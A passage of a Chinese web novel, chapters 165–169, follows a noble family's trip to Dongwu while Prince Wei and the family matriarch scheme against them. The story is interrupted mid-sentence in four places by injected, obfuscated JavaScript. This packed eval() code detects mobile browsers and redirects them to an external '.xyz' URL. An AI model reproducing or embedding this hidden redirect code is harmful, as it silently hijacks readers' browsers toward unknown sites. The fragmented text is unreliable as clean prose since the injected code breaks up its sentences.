顾馨巧坐在房中,看着小阳阳在地上爬来爬去,心中五味杂陈。这些日子以来,她早已习惯了有这个小家伙在身边。如今要分别,心里实在舍不得。 “娘,您这是怎么了?”楚星河端着参汤走进来,见母亲神色恍惚,不由关切地问道。 顾馨巧叹了口气:“我这不是舍不得阳阳嘛。这孩子才会走会爬,就要离开了...” 楚云浪听见妻子的话,放下手中的账本,若有所思地说道:“不如你跟着一起去吧,也好照看阳阳。” “这...不太合适吧?”顾馨巧有些犹豫,手指不安地绞着衣角,“哪儿有儿媳妇回娘家还带着婆婆的呢?” “这有什么?”楚云浪笑道,眼角的皱纹舒展开来,“你是去照顾孙子的。再说了,万一柔柔有事外出,总得有个知根知底的人照看阳阳不是?” 这话让顾馨巧心头一紧。她想起曾经听过的那些宫廷秘闻,脸色顿时变得凝重起来。 是啊,宫里那些勾心斗角的事,她可是听说过不少。万一有人对她的乖孙下手... “我这就去收拾东西!”顾馨巧立刻站起身来,眼中闪过一丝坚定,“可不能让人伤害了我们阳阳!” 第一百六十五章 带着婆婆回娘家 林芷柔和楚星河带着孩子进了锦囊给他洗澡,温热的水汽在空气中氤氲,小家伙坐在特制的浴盆里,胖乎乎的小手拍打着水面,溅起一朵朵水花。 “咯咯——”欢快的笑声在锦囊里回荡。 “小馋猫,等会儿洗完澡奶奶肯定要抱你了。”林芷柔一边用温热的毛巾轻轻擦拭着儿子的小身子,一边柔声哄着。 楚星河站在一旁,目光温柔地注视着这对母子。妻子纤细的手指拨弄着水面,儿子圆润的小脸蛋上洋溢着天真的笑容,这样温馨的画面让他心中涌起一股难以言喻的幸福感。 突然,院子里传来婆婆的声音,打破了这份宁静。 “人呢?刚回来怎么都不见了?” 脚步声由远及近,林芷柔下意识屏住呼吸,手上的动作也放轻了几分。她看了眼楚星河,对方也是一脸无奈的表情。 “乖,小声点。”林芷柔轻声安抚着还在扑腾的儿子。 小家伙似乎感受到了气氛,咯咯的笑声渐渐小了下来,但依然兴致勃勃地玩着水。温热的水珠顺着他白嫩的皮肤滑落,在灯光下闪烁着晶莹的光芒。 婆婆的脚步声在门外徘徊了一会儿,终于渐渐远去。林芷柔这才松了一口气,赶紧给儿子擦干身子。楚星河拿来准备好的小衣服,两人配合默契地给孩子穿上。 “你看他这小模样,跟个小王子似的。”林芷柔忍不住捏了捏儿子的小脸蛋。 楚星河宠溺地看着儿子:“确实,我们阳阳就是最可爱的小王子。” 给孩子收拾妥当后,一家三口从锦囊出来。刚打开房门,就撞见顾馨巧从后院转回来。婆婆的目光立刻被香喷喷的小孙子吸引,眼睛都亮了。 “哎呀,我的小乖乖洗香香了!”顾馨巧张开双臂,脸上的笑容像绽放的花朵。 阳阳看到奶奶,立刻扭动着小身子往外倾。一落到奶奶怀里,小家伙就往她脸上亲了一口,把顾馨巧逗得眉开眼笑。 “真是个小甜心!”顾馨巧紧紧抱着孙子,眼中满是不舍,“阿奶舍不得你走啊。” 看着婆婆宠溺的样子,林芷柔心中一动。她瞥了眼身边的楚星河,轻声说道:“娘,要不您跟我们一起去东吴吧?我一个人带孩子也累,有您帮忙就轻松多了。” 这话一出,楚星河的眉头微不可察地皱了一下。他原本期待着能和妻儿独处,现在看来是没戏了。不过看到妻子期待的眼神,他也只能在心里叹了口气。 “真的吗?”顾馨巧眼睛亮了起来,但很快又露出犹豫的神色,“我怕打扰你们......” “哪里会打扰,您是阳阳的亲奶奶,有您在我最放心了。”林芷柔笑着说,目光温柔地看着婆婆,“而且我觉得星雨妹妹也可以一起去,让她见见世面。” “这......”顾馨巧的眼中闪过一丝期待,但还是有些犹豫。 楚星河适时开口:“星雨是柔柔的小姑子,带上她不会有问题的。东吴派来的仪仗队不会在意多一个人。” “既然这样......”顾馨巧眼中的喜色再也掩饰不住,“那我去问问星雨的意思。” “星霆要是想去也可以,正好和远涛他们作伴。”林芷柔又补充道。她知道婆婆最放心不下的就是这两个小的。 顾馨巧匆匆去找两个孩子,脚步都轻快了许多。楚星河看着她的背影,忍不住又叹了口气。 “怎么了?”林芷柔察觉到丈夫的情绪变化,轻声问道。 “没什么。”楚星河摇摇头,伸手接过儿子,“只是觉得路上热闹些也好。” 林芷柔看着丈夫略显失落的样子,心中了然。她踮起脚尖,在他耳边轻声说:“放心,有锦囊在,我们想单独相处还不容易吗?” 楚星河眼睛一亮,嘴角勾起一抹意味深长的笑意。他低头看着怀中的儿子,轻声道:“阳阳,你说是不是?” 小家伙似乎听懂了父亲的话,咯咯笑着拍起小手。 不一会儿,楚星澜就欢天喜地地跑来了,小姑娘的脸上洋溢着掩饰不住的兴奋:“嫂嫂,真的可以带我去东吴吗?” “当然可以,你快去收拾行李吧。”林芷柔笑着说,看着小姑子蹦蹦跳跳的样子,不禁想起自己当年第一次离开家乡时的心情,“不过别带太多,路上看到喜欢的东西再买就是。” “太好了!”楚星澜蹦蹦跳跳地走了,一边走还一边哼着小曲。 看着小姑子欢快的背影,林芷柔心中一暖。带上婆婆和小姑子,不仅能让他们开开眼界,路上也不会太寂寞。至于和楚星河的二人世界,有锦囊在,还怕没机会吗? 夜色渐深,院子里传来此起彼伏的蛙鸣声。林芷柔站在廊下,看着天边的残月,心中思绪万千。东吴,那个繁华的大都市,不知道会给他们带来怎样的惊喜。 楚星河从身后环抱住她,下巴轻轻搁在她的肩膀上:“在想什么?” “没什么,就是觉得很幸福。”林芷柔靠在丈夫怀里,轻声说道,“有你们在身边,去哪里都是家。” 夜风轻拂,带来阵阵花香。远处传来婆婆和星雨兴奋的说话声,还有星霆偶尔插话的声音。这一刻,林芷柔觉得生活真的很美好。 她转身看向楚星河,眼中带着笑意:“我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787749|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去帮他们收拾行李吧,明天还要早起呢。” 楚星河点点头,牵起她的手向屋内走去。月光洒在两人身上,在地上投下一道长长的影子。 赵氏望着窗外的落叶,眉头紧锁。秋风萧瑟,几片枯黄的叶子打着旋儿落在窗棂上,又被风卷着飘向远方。 “世侯妃天性纯善,可这帝都里的人,哪个不是笑里藏刀?”她轻叹一声,手指无意识地摩挲着茶杯边缘。 顾馨巧冷哼一声,放下手中的绣活:“谨慎又能怎样?关键是二老爷三老爷那边,别被人当了棋子还帮人数钱。这些年来,他们在帝都那边蹦跶得欢,也不想想会给家里带来什么麻烦。” 赵氏看了看门外,确定无人后压低声音:“听闻东吴新出了厉害的武器,据说能让千军万马都束手无策。世侯妃又是东吴的安国公主,帝都那边怕是早就盯上了。” “你这消息从何处来?”顾馨巧眯起眼睛,放在膝上的手微微收紧。 “二老爷。” “楚云夏?”顾馨巧猛地站起身,绣架被带得歪倒在地,发出一声闷响,“他来找你干嘛?” 赵氏苦笑着摇头,眼底闪过一丝无奈:“让我去攀附世子妃,想办法把人弄去帝都。他说...说这是为了楚家好。” “好一个楚云夏!”顾馨巧气得浑身发抖,手指因愤怒而微微颤抖,“老夫人安**在我们身边还不够,现在连儿媳妇都要算计?他们把我们当什么了?” “夫人息怒。”赵氏连忙起身搀扶顾馨巧,“老爷那边我已经禀报过了。这种大事,我哪敢擅自做主。况且...”她顿了顿,“世侯妃身份特殊,若真出了什么事,怕是整个楚家都要遭殃。” 顾馨巧握住赵氏的手,感受到对方掌心的薄茧:“这些年苦了你了。这些权贵,把人命当草芥。你说得对,世侯妃若有闪失,东吴那边绝不会善罢甘休。” “夫人言重了。”赵氏摇头,目光落在院中那株老梅树上,“我只盼着二老爷别再执迷不悟,否则怕是要大祸临头。这些年在帝都,他结交的都是些什么人?” “他在帝都兴风作浪,我们在云州能有什么办法?”顾馨巧端起茶杯,茶水已经凉了,“就怕老夫人再不管教,整个楚家都要遭殃。这些年来,她总是偏袒二房三房,现在好了,养出个白眼狼来。” 赵氏叹了口气:“老夫人也是可怜,自从老爷子走后,就把所有希望都寄托在几个儿子身上。谁知道...” “行了,”顾馨巧摆摆手,“这些陈年旧事就不提了。你去看看世侯妃那边准备得如何了?这次进京,总要风风光光的。” 第一百六十六章 算计 五日后,仪仗队浩浩荡荡从云州出发。 晨光熹微中,银甲卫士列队开道,刀枪剑戟在阳光下闪烁着寒光。舞者手持彩带翩翩起舞,丝竹之声悠扬婉转,为这支队伍增添了几分喜庆气氛。 锦衣华服的柳雅芝端坐在马车上,珠光宝气,尽显皇家气度。青丝如瀑,发间点缀着东吴皇室特有的玉燕笺环,更显贵气逼人。谁能想到,平日里那个温婉贤淑的世侯妃,竟是这般气度不凡。 林芷柔坐在后面的马车里,透过车帘的缝隙看着母亲焕然一新的样子,心中百感交集。记忆中的母亲总是一身素雅,温柔贤淑,哪像现在这般威仪。 “小姐,”丫鬟小声提醒,“该用早膳了。” 林芷柔收回目光,看着眼前精致的点心,却提不起胃口。这一路上,她总觉得心神不宁,仿佛有什么不好的事情要发生。 与此同时,帝都魏王府。 “本王说过多少遍?”司马川拍案而起,茶盏被震得跳起,茶水洒了一桌,“林大夫是神医,本王还指望她续命!通敌叛国的罪名太大,会连她也牵连进去。你们就不能想个万全之策?” “王爷息怒。”一名身着青衫的幕僚出声道,“不如改成****?这罪名轻些,又不至于...” “云州账册岂是那么好拿的?”另一人打断道,眼中闪过一丝不耐,“云陵伯父子爱兵如子,这罪名恐怕站不住脚。况且,就算拿到了账册,那也未必能说明什么。” “不如从帝都这边下手。”第四名幕僚忽然开口,眼睛一亮,“让楚云夏咬定是楚云浪指使他****,既能将人引来帝都,又不至于闹得太大。” 司马川眼中精光一闪:“说下去。” “只要楚云夏配合得当,既能让世侯妃进京,又不会惊动东吴国君。”那幕僚继续道,“而且,这样一来,就算事情败露,也只是楚家内部的纷争,旁人插不上手。” “就这么办。”司马川点头,眼中闪过一丝阴鸷,“你亲自去安排,务必把握好分寸。记住,本王要的是林大夫,其他人...无所谓。” 窗外寒风呼啸,魏王府的阴谋正在酝酿。而此时的仪仗队,正缓缓向帝都进发。 沿途百姓纷纷驻足观望,有人认出这是东吴公主的仪仗,不由议论纷纷。 “听说这位公主医术高明,连太医院都对她赞不绝口。” “是啊,去年我家小儿就是托了她的福才好起来的。” “可惜啊,这么好的人,偏偏嫁到了楚家。” “怎么说?” “你不知道?楚家二房三房在帝都...” 话未说完,就被同伴拉住。这种事,还是少说为妙。 马车内,柳雅芝望着窗外飞逝的景色,神色平静。作为东吴的安国公主,她早就习惯了这样的议论。只是不知道,等到了帝都,又会面临什么样的风波。 另一边幕僚们脸色铁青,一个个怒气冲天。烛光摇曳间,他们的影子在墙上投射出狰狞的形状。 “晦气!”一名幕僚将手中的奏折狠狠摔在案几上,茶盏被震得跳动,滚烫的茶水溅出。 “无耻!”另一人咬牙切齿,指节因用力而发白。 “可恶!”有人一拳砸在桌面,发出沉闷的响声。 魏王冷笑一声,眼底闪过一丝阴鸷:“活该!”他修长的手指轻轻敲击着案几,仿佛在计算着什么。 龙城城内,一场暗流涌动的博弈正在上演。雨季将至,空气中弥漫着潮湿的气息,压抑得让人喘不过气。 沉月楼三层雅间内,楚云夏望着窗外阴沉的天色,眉头紧锁。案几上的美酒佳肴早已凉透,他却毫无胃口。 作为一个五品编修,他在龙城这个权力漩涡中,不过是个可有可无的小角色。每每想到这里,他的心就像被无形的手攥紧,难受得几乎窒息。 多少个夜晚,他辗转难眠,想着自己的侄子楚星河。那个年纪轻轻就位居高位的侄子,每次见面都是笑脸相迎,却从未真正将他放在眼里。 “楚大人,这酒可是今年新进的女儿红,你怎么一口都没动?”同僚温清玉端着酒杯,目光意味深长地打量着他。 楚云夏勉强挤出一丝笑容:“无妨,只是今日胃口不佳。” “我倒觉得,楚大人是心事重重啊。”温清玉放下酒杯,身子微微前倾,“说起来,云陵伯的爵位,怎么就落到你大哥手里了呢?” 这句话如同一把利刃,直直刺入楚云夏心底最深的伤痕。他的手指无意识地摩挲着杯壁,眼神逐渐变得暗沉。 “还能怎么样?父亲在世时就定下了。”他的声音有些嘶哑,像是被什么东西哽住了喉咙。 温清玉嗤笑一声:“你这话说的可就太老实了。”他环顾四周,确定无人注意这边后,压低声音道,“云陵伯的爵位,本该是你的才对。你大哥已经是大将军了,为何还要霸占着这侯爵之位?” 酒过三巡,楚云夏的眼神逐渐迷离。案几上的烛火摇曳,将他的影子拉得老长。 “说得容易,这爵位哪是说要就能要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787750|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来的?”他苦笑着摇头,语气中满是无奈。 “办法倒是有,就看楚大人敢不敢冒这个险了。”温清玉的眼中闪过一丝精光。 楚云夏猛地抬头:“什么办法?” “我站在魏王这边。”温清玉凑近了些,呼吸中带着酒气,“魏王殿下想让云陵伯府的女眷回京,特别是那位神医世侯妃。只要你配合,不仅能让世侯妃永居帝都,云陵伯的爵位,也能重新回到你手中。” 这句话如同一记惊雷,在楚云夏脑中炸响。他的手不自觉地颤抖起来,酒杯中的液体荡起细微的涟漪。 回到府中,月色已深。庭院里的梧桐树影婆娑,投下斑驳的光影。楚云夏直奔老夫人的院子,脚步匆忙得几乎踉跄。 “母亲,孩儿有事相商。”他的声音里带着几分急切。 老夫人正在诵经,听到声音也不抬头,只是慢条斯理地放下手中的佛珠。待楚云夏将事情娓娓道来,她的眼中才闪过一丝异样的光芒。 “世间之事,要想得到,不外乎两个字。”老夫人的声音冷得像冰,“一个是狠,一个是毒。” “母亲的意思是......”楚云夏的声音有些发颤。 “你想要的,不就是那个爵位吗?”老夫人冷笑一声,眼中闪过一丝寒光,“既然魏王给了这个机会,为何不好好把握?” 楚云夏眼中闪过一丝狠色,却又很快被犹豫取代:“可是那个女人,魏王说了要留着。” “蠢货!”老夫人厉声呵斥,声音尖利得像是能刺破夜色,“男人和孩子都没了,留个女人又有什么用?要动手,就要斩草除根!” 楚云夏握紧了拳头,指甲深深陷入掌心的肉里。他能感受到血液在血管中奔涌的声音,那声音几乎要冲破他的耳膜。 多年来积压的不甘与怨恨,在这一刻彻底爆发。每一次被人轻视的目光,每一次低声下气的请托,每一次无功而返的失望,都在他心中划下深深的伤痕。 凭什么? 凭什么同是嫡子,大哥就能得到爵位? 凭什么他只能做个五品小官,看人脸色? 这一次,他要赌一把。 赌上自己的前程,赌上云陵伯府的未来。 夜色渐深,院子里的灯笼随风摇晃,将他的影子投射在墙上,扭曲变形,宛如一个即将破茧而出的恶魔。 老夫人看着儿子的背影,嘴角勾起一抹阴冷的笑意。她轻轻拨动着手中的佛珠,每一颗佛珠落下,都像是在为即将到来的风暴敲响丧钟。 第一百六十七章 东吴 老夫人眯起眼睛,手指轻轻敲打着檀木扶手,目光若有所思地落在殿外的梧桐树上。秋风掠过,零星的落叶打着旋儿飘落,在地上留下斑驳的影子。 “这事确实是魏王一手策划,”她缓缓开口,声音里带着几分沉重,“我们不过是配合演戏罢了。” 跪在地上的儿子低着头,额头几乎要触到地面。殿内一时寂静无声,只有檀香袅袅升起,在空气中画出淡淡的轨迹。 “与虎谋皮这种事情,”老夫人忽然提高了声调,语气严厉,“你得掂量清楚自己几斤几两。机会稍纵即逝,但也要看准时机再出手。” “儿子明白。” 老夫人的目光在儿子身上停留片刻,挥了挥手示意他退下。看着儿子恭敬地退出大殿,她不禁叹了口气,眼神中闪过一丝忧虑。 殿外的风越发大了,梧桐叶簌簌作响。宫女们小心翼翼地关上窗户,将秋日的萧瑟隔绝在外。老夫人望着窗外渐暗的天色,心中盘算着接下来的局势。 此时的林芷柔和楚星河还在赶往东吴的路上,浑然不知帝都里已经有人开始为他们编织一张巨大的网。等到他们从东吴归来之日,便是暴风雨来临之时。 仪仗队在路上走走停停,从清明走到端午,终于抵达东吴国都。远远望去,城墙巍峨,金碧辉煌的宫殿在阳光下熠熠生辉。柳芝黄带领文武百官出城相迎,城门两侧站满了翘首以盼的百姓。 “贤尊公主驾到!” 随着一声高喝,鼓乐齐鸣,彩旗招展。柳雅芝坐在马车里,透过车帘望着这座阔别三十年的故土,眼眶不知不觉湿润了。 马车缓缓驶入皇宫,熟悉的建筑一一映入眼帘。站在记忆中的宫殿前,柳雅芝再也控制不住情绪,泪如雨下。三十年恍如一梦,她终于回到了这个魂牵梦萦的地方。 宫中的一草一木都让她想起往事,可曾经熟悉的面孔早已不在。父皇母后的音容笑貌仿佛就在眼前,却又那么遥远。 “姐。”柳芝黄轻声唤道,声音里带着几分心疼。他伸手扶住姐姐的肩膀,“我们能平安回来,父皇母后在天之灵一定会欣慰的。” 柳雅芝擦了擦眼泪,努力挤出一个笑容:“我不是伤心,是高兴。既然回来了,我们一家人就住在一起吧,我不想分开。” “姐,我在宫外给你和柔柔准备了府邸,”柳芝黄笑着说,眼中闪烁着期待的光芒,“要去看看吗?柔柔是安国公主,理应有自己的住处。” “你还为我们准备了府邸?”柳雅芝惊喜地问,眼泪瞬间被喜悦取代,“两座府邸挨着吗?能不能打通?我们离不开柔柔。” “早就想到了,已经打通了。”柳芝黄笑着说,“我知道你们母女情深。” “那我们就搬去府邸住吧。”柳雅芝立刻做了决定,“宫中的规矩实在繁琐,孩子们可能会觉得不舒服。” 炎炎夏日,蝉鸣阵阵。东吴的夏天比天玄更加闷热,空气中仿佛凝结着化不开的水汽。所幸林芷柔有锦囊在手,一家人晚上都住在锦囊里,喝着清凉甘甜的仙露泉,身体越发硬朗。 就连年幼的阳阳也活蹦乱跳,整日在府中追逐嬉戏。府中的花园里种满了各色花卉,蝴蝶翩翩起舞,时不时传来孩子们的欢笑声。 这日,柳芝黄带着妻儿来到公主府拜访。他的四个儿子分别与林家兄妹年纪相仿,大儿子已被立为太子。几个孩子很快打成一片,在园中玩耍。 柳芝黄的妻子沈氏出身商贾,为人和善大方。她一见到林芷柔就喜欢得不得了,拉着柔柔的手说个不停。 “我怎么就生不出柔柔这样聪慧的女儿呢?”沈氏由衷感叹道,眼中满是羡慕。 柳雅芝笑而不语。若不是柔柔的帮助,弟弟也未必能重掌大权。这也是为何要封柔柔为安国公主的原因。当初朝中反对声不断,大臣们认为一个他国女子不该获此殊荣。 但当柳芝黄公布了柔柔的资助数额后,反对声减弱了许多。等他宣布柔柔将无偿转让蜜糖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793600|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、卤料、香油等技术后,反对声彻底消失了。这些技术关系到东吴的农业发展,能让百姓过上更好的日子。 朝臣们都在期待安国公主的到来,等待她带来改变东吴的良方。加冕仪式后,林芷柔将所有技术详细记录,交给柳芝黄。 当雪白的糖霜、醇香的美酒、浓郁的菜油摆在朝臣面前时,所有人都心服口服。安国公主果真名副其实,为东吴带来了新的希望。 从端午到中秋,时光飞逝。林芷柔与母亲终于要启程回天玄了。临行前,她给柳芝黄留下了一大缸仙露泉,还有萤萤种植的各种药材和瓜果。 其中最珍贵的就是在东吴发现后由萤萤培育的人参。这些人参经过特殊培育,药效比普通人参强上数倍。柳芝黄看着这些珍贵的礼物,心中感动不已。 “柔柔,这么珍贵的东西你都给舅舅了,自己还有吗?”柳芝黄心疼地问。 “舅舅放心,我还有很多。”林芷柔压低声音,神秘地说,“您难道不想要个女儿吗?只需服下我提供的药品,一定能如愿以偿。” 临别之际,柳芝黄站在城门外,目送妹妹和外甥女的马车渐行渐远。秋风吹起他的衣袍,带来一丝凉意。他知道,等待他们的将是一场惊涛骇浪。 马车缓缓驶向远方,车轮碾过落叶,发出细微的声响。林芷柔掀开车帘,望着渐渐模糊的东吴城墙,心中涌起一丝不安。她总觉得,回到天玄后,会有什么事情发生。 车队向西行进,道路两旁的树木开始泛黄。秋意渐浓,却掩不住即将到来的风暴。就在他们离开东吴的这段时间里,天玄的局势已经悄然改变。 楚晚,马车停在一处驿站。林芷柔躺在床上,听着窗外的虫鸣,久久无法入睡。她想起临行前舅舅欲言又止的表情,心中的不安更加强烈。 但现在回头已经太晚,她只能继续前行,迎接即将到来的暴风雨。窗外的月光洒在地上,在她脸上投下斑驳的影子,仿佛预示着未来的重重迷雾。 第一百六十八章 家逢突变 两个多月的长途跋涉,车队终于回到了天玄境内。马蹄声踏过泥泞的官道,车轮碾过石子发出细微的响动。空气中弥漫着泥土和青草的气息,远处炊烟袅袅,勾勒出一幅安宁祥和的景象。 沿途的百姓们远远望见熟悉的马车,纷纷驻足,让出一条宽阔的道路。有人认出了林芷柔,激动地挥手问好。孩童们追着马车跑了一段路,直到大人们喊住他们。 “大夫回来了!”不知是谁喊了一声,消息很快在街坊邻里间传开。 仁心医馆门前依旧热闹非凡。即便林大夫不在,百姓们仍然每日排队等候。温如玉接手后,医馆的运转丝毫未受影响。几个学徒正在为病人把脉问诊,药童来回穿梭,煎药的香气飘散在空气中。 林芷柔站在医馆门前,看着这熟悉的一切,心中涌起一股暖流。她伸手抚过门框上斑驳的漆面,仿佛能触摸到岁月留下的痕迹。这里承载着太多回忆,每一块砖瓦都诉说着过往的点点滴滴。 “夫人。”楚星河的声音从身后传来,带着一丝凝重,“太子来信。” 林芷柔转身接过信件,快速浏览完内容,眸光一冷:“帝都那边,云陵伯府出事了。”她的指尖微微用力,信纸发出轻微的皱褶声。 顾馨巧抱着小阳阳走过来,脸上写满担忧:“出什么事了?”小阳阳在她怀里咿咿呀呀地玩着自己的小手,对周遭的紧张气氛浑然不觉。 楚云浪叹了口气,眼角的皱纹更深了几分:“你二叔被抓了,说成是贪腐**。”他的声音低沉,带着几分无奈。 “刑部?”林芷柔冷笑一声,目光如刀,“魏王的人在刑部,这是冲着我们来的。”她走到廊下的长凳上坐下,手指无意识地敲击着扶手。 小阳阳不谙世事,突然指着门外一辆牛车,兴奋地叫起来:“牛,牛,吗唔!”他胖乎乎的小手在空中挥舞,试图引起大人的注意。 楚云浪将孙子抱在怀里,轻轻颠了颠:“是啊,是牛车呢。”他的眼中闪过一丝疲惫,“雷霆雨露,皆是君恩。我们要做好准备了。” 林芷柔看着公公的背影,心中升起一丝不安。她总觉得这件事背后,还藏着更大的阴谋。院子里的老槐树在风中轻轻摇曳,投下斑驳的影子。 “柔柔。”楚星河拉着她的手,指尖有些凉,“有些事,我得告诉你。” 顾馨巧和赵氏对视一眼,都露出复杂的神色。赵氏欲言又止,最后只是叹了口气,转身去厨房准备晚饭。 “是关于老夫人的事?”林芷柔敏锐地察觉到气氛的异常。她注意到楚星河眼底闪过的阴霾,心中已有几分猜测。 楚星河点点头:“我带你去书房说。” 林芷柔跟着楚星河走向书房,脚步声在空旷的走廊上回响。她看着丈夫的背影,心中思绪万千。帝都那边的暗流涌动,她早有预感,现在看来果然如此。 书房内,檀香袅袅。楚星河将门关好,神色凝重:“柔柔,我祖母一直想控制我父亲。”他走到书案前,手指无意识地摩挲着桌面。 “从什么时候开始的?”林芷柔在椅子上坐下,目光落在书架上泛黄的典籍上。 “从我父亲的生母去世开始。”楚星河的声音有些沙哑,“那时候我父亲还小,没多久老夫人就成了续弦。她对父亲,从来就不是真心的。” 林芷柔若有所思:“所以,你父亲才会选择留在云州?”她想起公公平日里的种种表现,似乎明白了什么。 “是。”楚星河握紧了拳头,指节发白,“老夫人想控制伯府的一切,包括我父亲的婚事。后来她发现做不到,就把我留在身边。”他的声音里带着压抑的愤怒。 “直到你来军队历练。”林芷柔接过话头,目光柔和地看着丈夫。 “没错。”楚星河看向林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793601|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芷柔,眼中带着几分歉意,“现在二叔的事,我怀疑也有她的原因。她一直想要更大的权力。” 林芷柔眼神一凛:“一个五品编修,能**多少?这明显是个借口。”她站起身,走到窗前,看着院子里的景象,“他们是想借此机会,打击我们的声望。” “魏王和老夫人联手了。”楚星河走到妻子身后,声音冷硬,“他们想借此机会,对付我们。” 林芷柔转身,轻轻拍了拍楚星河的手:“别担心,魏王不敢动我。真要动手,他就是在自掘坟墓。”她的眼中闪过一丝锐利。 “我担心的是父亲。”楚星河眉头紧锁,“他虽然在云州,但终究还是伯府的人。” “有我在。”林芷柔目光坚定,声音轻柔却有力,“不管发生什么,我都会护住这个家。”她看向窗外,夕阳的余晖染红了半边天。 楚星河将林芷柔搂入怀中,感受着她的体温:“有你在,我什么都不怕。” 林芷柔靠在楚星河胸前,听着他有力的心跳声。她的脑海中已经开始盘算对策,魏王想玩,她奉陪到底。至于老夫人,既然她想毁掉这个家,那就别怪她不客气了。 书房外,暮色渐深。院子里的老槐树在风中沙沙作响,仿佛在诉说着什么。小阳阳的笑声从远处传来,与这沉重的气氛形成鲜明对比。 赵氏在厨房忙碌,锅铲声和炒菜的香气飘散在空气中。顾馨巧抱着小阳阳在院子里散步,时不时逗弄着孩子。表面的平静下,每个人心中都压着一块大石。 楚云浪站在廊下,望着天边的晚霞,眼神深邃。他知道,这场风暴才刚刚开始。作为一家之主,他必须保护好每一个家人。 走出书房时,天已经完全黑了。院子里点起了灯笼,温暖的光芒驱散了些许黑暗。林芷柔抬头看向帝都的方向,眼中闪过一丝坚定。 这盘棋,她接了。 第一百六十九章 抄家 “你就告诉我吧。”林芷柔轻声说道,她的目光柔和地落在楚星河脸上,手指无意识地摩挲着衣袖边缘。 楚星河握住她微凉的手,将她带到院中的石凳旁坐下。月光如水般倾泻而下,在地上投下斑驳的树影。他抬头望了望天空,仿佛在整理思绪。 “从小,我就跟在老夫人身边长大。”楚星河缓缓开口,声音低沉,“那时候父亲常年在外,母亲......”说到这里,他顿了顿,眼底闪过一丝复杂的情绪。 林芷柔轻轻捏了捏他的手,无声地给予支持。 “母亲去得早,我成了无人管束的孩子。但老夫人待我很好,比对其他孙辈都要亲近。”楚星河继续说道,“她教我读书写字,教我为人处世的道理。在那些人眼里,我不过是个上不得台面的庶子,但老夫人从不这样看我。” 夜色渐深,院中的虫鸣声此起彼伏。一阵晚风拂过,带来几分凉意。 “父亲的事情说来话长。”楚星河神色凝重,“当年他受命守卫边关,立下不少战功。可就在那时,朝中有人开始暗中使绊子。” 林芷柔蹙眉:“是魏王?” “不全是。”楚星河摇头,“那时魏王还小,但他背后的势力已经开始布局。父亲几次三番遭人陷害,要不是老夫人在京中周旋,恐怕早就......” “你家老夫人倒是个人物。”林芷柔若有所思地说,目光中带着几分赞叹,“能在那样的环境中保全自己,还护住你们父子,确实不简单。” 楚星河看向她:“你这么说是什么意思?” “帝都的贵妇们个个都不简单。”林芷柔轻声道,手指在石凳边缘划过,“她们从小在勾心斗角中长大,明枪暗箭见得多了。你家老夫人能在那样的环境中立于不败之地,本事确实了得。” 楚星河的神色越发凝重。他起身在院中来回踱步,月光下的身影被拉得很长。 “我担心你。”他突然停下脚步,转身看向林芷柔,“帝都不比这里,每个人都带着面具,每句话都藏着心思。二叔的事只是个开始,魏王是冲着你来的。” “因为我是东吴的安国公主?”林芷柔冷笑一声,“还是因为星**的秘密?” “都有。”楚星河走到她面前蹲下,握住她的手,“他想用你来威胁太子,威胁东吴。我怕你一个人在帝都......” 林芷柔将手抽出,反手覆在他的手背上:“倒是你们让我担心。这些年虽然喝了仙露泉,但北边苦寒,我怕......” 话未说完,楚星河已将她拥入怀中。他的心跳声透过衣衫传来,沉稳而有力。 “别担心我们。”他低声说,“我更怕你要一个人照顾母亲和阳阳。帝都那些人,没一个是善茬。” 林芷柔靠在他胸前,感受着他的体温:“船到桥头自会通。魏王要是敢动手,我就让他知道什么叫后悔。” 三日后,魏王的人带着圣旨来了。他们说云陵伯府的楚云夏咬定**的银子都给了楚云浪。皇帝念在楚云浪守护云州有功,发配北边守城,女眷需即刻进京。 来抄家的官兵面面相觑。整个府邸空空如也,连个值钱的物件都找不到。厨房里的锅碗瓢盆都是最普通的陶器,更别说什么金银细软了。 